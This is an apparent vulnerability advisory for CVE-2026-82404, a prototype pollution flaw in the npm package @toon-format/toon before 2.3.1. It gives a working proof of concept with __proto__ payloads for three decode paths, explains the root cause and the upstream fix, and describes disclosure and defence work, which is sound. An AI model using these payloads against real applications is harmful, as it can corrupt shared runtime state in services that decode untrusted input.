high · 8.3CVE-2026-82404Sep 3, 2026

CVE-2026-82404: @toon-format/toon Prototype Pollution via Untrusted Decode

Rohit Hatagale
AI Security Researcher, SecureLayer7

The TOON decoder writes attacker-supplied keys like __proto__ directly onto the JavaScript prototype chain, letting anyone who can send TOON input corrupt shared runtime state across every object in…

Package@toon-format/toon
Ecosystemnpm
Affected< 2.3.1
Fixed in2.3.1
CVE-2026-82404: @toon-format/toon Prototype Pollution via Untrusted Decode

The problem

TOON (Token-Oriented Object Notation) is a compact serialization format for LLM prompts. Versions of @toon-format/toon before 2.3.1 pass decoded keys straight to bracket-assignment without filtering dangerous prototype keys.

All four decode surfaces are affected: dotted path expansion via expandPaths: 'safe' (the strongest vector), plain nested objects, tabular rows, and quoted keys. The encoder had a matching bug, silently dropping own __proto__ properties and potentially firing an inherited setter during normalization.

Proof of concept

A working proof-of-concept for CVE-2026-82404 in @toon-format/toon, with the exact payload below.

javascript
// --- Vector 1: expandPaths:'safe' (strongest, lives in expand.ts insertPathSafe) ---
// Craft a TOON document with a dotted key whose segment is __proto__
// TOON syntax: dotted key => value
a.__proto__.polluted: pwned

// Decoded with expandPaths:'safe', insertPathSafe splits on '.' and does:
//   obj[segment] = value   for each segment, no key guard
// => Object.prototype.polluted === 'pwned'

// --- Vector 2: plain nested object block ---
__proto__:
  polluted: pwned

// --- Vector 3: tabular row ---
[1,]{__proto__}:
pwned

// --- Verify pollution (Node.js) ---
const { decode } = require('@toon-format/toon');

// Vector 1
decode('a.__proto__.polluted: pwned', { expandPaths: 'safe' });
console.log(({}).polluted); // => 'pwned'

// Vector 2
decode('__proto__:\n  polluted: pwned');
console.log(({}).polluted); // => 'pwned'

The root cause is the classic CWE-1321 pattern: bracket-assignment (obj[key] = value) on a plain object literal trusts user-supplied key names. When key is __proto__, JavaScript does not create an own property; it walks the prototype chain and writes to Object.prototype instead.

The insertPathSafe function in expand.ts split dotted keys on . and assigned each segment without a blocklist check, making the dotted-path vector trivially exploitable.

PR #316 (commit 94a2b75) added an isDangerousKey guard covering __proto__, constructor, and prototype for every decode surface, then materialized those keys as ordinary own data properties using Object.defineProperty with no prototype-chain traversal, matching JSON.parse semantics.

The encoder was patched to iterate only own properties and skip dangerous keys during normalization.

The fix

Upgrade to @toon-format/toon@2.3.1. No workaround exists for older versions; callers who cannot upgrade immediately should reject TOON input containing __proto__, constructor, or prototype as any key or dotted-path segment before calling decode().

Reported by ckorhonen.

References: [1][2][3][4][5][6]

Related research